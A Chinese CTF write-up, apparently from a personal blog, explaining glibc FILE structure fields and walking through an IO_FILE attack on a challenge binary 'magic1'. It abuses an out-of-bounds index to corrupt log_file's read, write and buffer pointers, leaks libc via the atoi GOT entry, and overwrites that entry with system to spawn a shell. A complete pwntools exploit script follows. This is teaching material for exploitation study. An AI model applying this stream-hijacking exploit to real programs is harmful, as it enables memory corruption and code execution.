记一次IO_FILE结构体attack

记一次IO_FILE结构体attack

平常做题的时候有没有注意到bss段上的这几个数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.bss:00000000006020C0 _bss            segment para public 'BSS' use64
.bss:00000000006020C0 assume cs:_bss
.bss:00000000006020C0 ;org 6020C0h
.bss:00000000006020C0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:00000000006020C0 public stdout@@GLIBC_2_2_5
.bss:00000000006020C0 ; FILE *stdout
.bss:00000000006020C0 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400470↑o
.bss:00000000006020C0 ; deregister_tm_clones+6↑o ...
.bss:00000000006020C0 ; Alternative name is '__TMC_END__'
.bss:00000000006020C0 ; Copy of shared data
.bss:00000000006020C8 align 10h
.bss:00000000006020D0 public stdin@@GLIBC_2_2_5
.bss:00000000006020D0 ; FILE *stdin
.bss:00000000006020D0 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400488↑o
.bss:00000000006020D0 ; init+4↑r
.bss:00000000006020D0 ; Alternative name is 'stdin'
.bss:00000000006020D0 ; Copy of shared data
.bss:00000000006020D8 completed_7594 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:00000000006020D8 ; __do_global_dtors_aux+13↑w

这些是标准输出,标准输入,还有一个错误输出,分别对应的文件描述符1,0,2

我们可以看看这个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$2 = {
file = {
_flags = 26018464,
_IO_read_ptr = 0x0,
_IO_read_end = 0x18d0480 "\300\004\215\001",
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x0
}

那么可以看见现在是未初始化的状态,这个跟前面的house of orange 的file结构体是同一个,不过我们当时伪造的是vtable的虚函数表,现在我们重点来看前9个字段

_flags:
这是一个标志位,用于保存文件流的状态信息。它可以包含多个标志,比如文件是以文本模式还是二进制模式打开的,流是可读、可写还是处于错误状态等。26018464 这个值表示了一组特定的状态标志。

_IO_read_ptr:
这是一个指针,指向当前从文件流中读取数据的位置。如果文件流是以读取模式打开的,这个指针会在流中向前移动,指示已经读取到哪里。

_IO_read_end:
这是一个指针,指向文件流中可读缓冲区的末尾。读取操作不能超过这个位置,否则就需要刷新缓冲区或者读取更多的数据。0x18d0480 "\300\004\215\001" 表示这个缓冲区末尾的位置和包含的内容。

_IO_read_base:
这是一个指针,指向文件流中可读缓冲区的开始位置。每次读取操作从这个位置开始,并在 _IO_read_ptr 位置结束。

_IO_write_base:
这是一个指针,指向文件流中可写缓冲区的开始位置。写操作将数据从这个位置开始写入文件流。

_IO_write_ptr:
这是一个指针,指向文件流中当前写入数据的位置。它随着写入操作向前移动,指示已经写入的数据位置。

_IO_write_end:
这是一个指针,指向文件流中可写缓冲区的末尾。写入操作不能超过这个位置,否则就需要刷新缓冲区或者扩展缓冲区。

_IO_buf_base:
这是一个指针,指向用于文件流的缓冲区的开始位置。这个缓冲区可以用来存储读或写的数据。

_IO_buf_end:
这是一个指针,指向用于文件流的缓冲区的末尾位置。缓冲区的数据不能超过这个位置。

例题演示

2.35本地

知道了这些我们现在来看一道题目

首先查看一下保护

image-20240811100245052

64位ida载入

两个功能

image-20240811100508961

create函数会创建一个对象并加入到wizards数组中

image-20240811100720320

另一个函数会存在数组越界的问题,当我们输入负数的时候数组就会越界,我们可以看见wizards[-2]的位置就是log_file

image-20240811100952432

image-20240811101051792

这个函数还会把读入的数据打印出来

image-20240811101729726

我们可以修改到log_file + 40处的位置,我们可以看一下log_file结构体

image-20240811103123266

是不是很眼熟,对就是前面说的那个结构体,而他+40处的位置正好是_IO_write_ptr 的位置,也就是我们可以修改这个指针,如果我们能修改到这个结构体,那么我们就可以像打io_stout 一样泄露数据,比如我们可以修改 _IO_read_ptr 为got表,那么下次就会从这里读取数据,并打印出来,那么就可以泄露出libc地址了,当然此时的 _IO_read_end的地址要比 _IO_read_ptr 大,刚刚我们看见的是未初始化的结构体,现在我们给他创建一个对象,进行初始化

1
2
create('flag')
wizard(0,'flag')

image-20240811103747886

那么我们现在修改 _IO_write_ptr 指针指向 这个结构体附近

image-20240811103807602

可以看见两者还是挺近的,我们可以把下标输入为-2那么 _IO_write_ptr指针减去的字节数就是 -50 + 我们输入的字节数

1
2
3
4
5
6
7
8
9
10
for i in range(8):
wizard(-2,b'\x00')



wizard(-2,'\x00'*13)


for _ in range(3):
wizard(-2,'\x00')

这样之后我们再次看看结构体的内容

image-20240811103834950

那么现在我们就可以修改结构体内容了

1
2
3
4
5
6
7
8
9
10
11
payload = b'\x00' 
payload += p64(0xFBAD24A8)
wizard(0,payload)
payload = p64(elf.got['atoi']) + p64(elf.got['atoi'] + 0x100)
wizard(0,payload)
gdb.attach(io)
atoi_addr = u64(io.recv(8))
success('atoi_addr---->'+hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
success('libc_base---->'+hex(libc_base))

image-20240811104320830

image-20240811104337883

注意此时下标用的是0,这样的话 _IO_write_ptr 就不会再减去50,而且因为此时是因为读取完毕了所以 _IO_read_ptr 又加上了0x20

那么我们如法炮制,修改 _IO_write_ptr 为 atoi的got表

虽然想的没问题,但是在实际操作中,会发现, _IO_write_ptr 会保持不变,原因是我们写入完数据之后, _IO_write_ptr 会再次更新,那么就会导致, _IO_write_ptr 再次被覆盖变成 原来的地址+输入的长度。因此直接修改是行不通的。

在glibc源码里面我们可以分析一下

image-20240811110643203

当 _IO_read_ptr < _IO_read_end 的时候就会直接返回,不会执行我们下面的对 _IO_write_ptr 赋值的要求,下面会把 _IO_write_ptr 等一系列指针指向 _IO_buf_base,那么我们控制到 _IO_buf_base即可以控制 _IO_write_ptr了,那么我们就要保证修改完 _IO_buf_base 之后 _IO_read_ptr < _IO_read_end 这个条件不满足,为了能修改到 _IO_buf_base,除此之外,我们还要保证 [ _IO_write_ptr _IO_write_end] _IO_buf_base 位于这两者之间,我们需要知道 _IO_write_ptr 的值那么我们还要泄露 log_file 的地址。

1
2
3
4
5
6
7
8
9
10
wizard(-2,p64(0)*3)
login_file = 0x6020E0 #_IO_read_ptr #_IO_read_end # _IO_read_base
payload = b'\x00'*2 + p64(0xFBAD24A8)
wizard(0,payload)
payload = p64(login_file) + p64(login_file + 0x50) + p64(login_file)
#gdb.attach(io)
wizard(0,payload)
gdb.attach(io)
log_addr = u32(io.recv(4))
success('log_addr---->'+hex(log_addr))

这个login_file + 0x50 中的 0x50 是一个大概,每次加0x20,只要保证第三次修改之后 _IO_read_ptr > _IO_read_end,就行了

得到log_file的真实地址之后,我们就可以修改 _IO_write_base _IO_write_ptr _IO_write_end 了,因为之后 _IO_write_ptr 会被覆盖,所以这里使用 0xdeadbeef 来覆盖

1
2
3
4
5
6
           #_IO_write_base       #_IO_write_ptr        #_IO_write_end 
payload = p64(log_addr + 0x80) + p64(0xdeadbeef) + p64(log_addr + 0x80)
#gdb.attach(io)
wizard(0,payload)
payload = p64(elf.got['atoi'] + 0x80) + p64(elf.got['atoi'] + 0x800)
wizard(0,payload)

当然现在 _IO_buf_base 的地址不能为 atoi的got表,而是要往下去一点,不然覆盖不到 atoi的got表,而且 _IO_write_end需要取大一点,保证能够正确修改

image-20240811121143461

可以看见我们成功把 _IO_buf_base 处的地址赋值给这些指针

那么接下来继续使 _IO_write_ptr 修改到 atio的got表位置,之后修改atoi got表为system

1
2
3
4
5
6
wizard(-2,'\x00')
#gdb.attach(io)
wizard(-2,'\x00'*11)
wizard(-2,'\x00'*11)

wizard(0,p64(system))

最后输入 sh就可以拿到shell

1
io.sendlineafter('choice>> ','sh')

image-20240811121623137

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context(log_level='debug',arch='amd64',os='linux')


io = process('./magic1')
elf = ELF('./magic1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(msg):
io.sendlineafter('choice>> ','1')
io.sendafter('name:',msg)


def wizard(index,name):
io.sendlineafter('choice>> ','2')
io.sendlineafter('will spell:',str(index))
io.sendafter('name:',name)



#gdb.attach(io)
create('flag')
wizard(0,'flag')


gdb.attach(io)

for i in range(8):
wizard(-2,b'\x00')



wizard(-2,'\x00'*13)


for _ in range(3):
wizard(-2,'\x00')


#wizard(-2,'\x00'*9)
#wizard(-2,'\x00')



#gdb.attach(io)


payload = b'\x00'
payload += p64(0xFBAD24A8)
wizard(0,payload)
payload = p64(elf.got['atoi']) + p64(elf.got['atoi'] + 0x100)
wizard(0,payload)
#gdb.attach(io)
atoi_addr = u64(io.recv(8))
success('atoi_addr---->'+hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
success('libc_base---->'+hex(libc_base))
#gdb.attach(io)
system = libc_base + libc.sym['system']
wizard(-2,p64(0)*3)
login_file = 0x6020E0 #_IO_read_ptr #_IO_read_end # _IO_read_base
payload = b'\x00'*2 + p64(0xFBAD24A8)
wizard(0,payload)
payload = p64(login_file) + p64(login_file + 0x50) + p64(login_file)
#gdb.attach(io)
wizard(0,payload)
#gdb.attach(io)
log_addr = u32(io.recv(4))
success('log_addr---->'+hex(log_addr))
#_IO_write_base #_IO_write_ptr #_IO_write_end
payload = p64(log_addr + 0x80) + p64(0xdeadbeef) + p64(log_addr + 0x80)
#gdb.attach(io)
wizard(0,payload)
payload = p64(elf.got['atoi'] + 0x80) + p64(elf.got['atoi'] + 0x800)
wizard(0,payload)
gdb.attach(io)
wizard(-2,'\x00')
#gdb.attach(io)
wizard(-2,'\x00'*11)
wizard(-2,'\x00'*11)

wizard(0,p64(system))

io.sendlineafter('choice>> ','sh')

io.interactive()

记一次IO_FILE结构体attack
https://ch13hh.github.io/2024/08/10/记一次IO-FILE结构体attack/
发布于
2024年8月10日
许可协议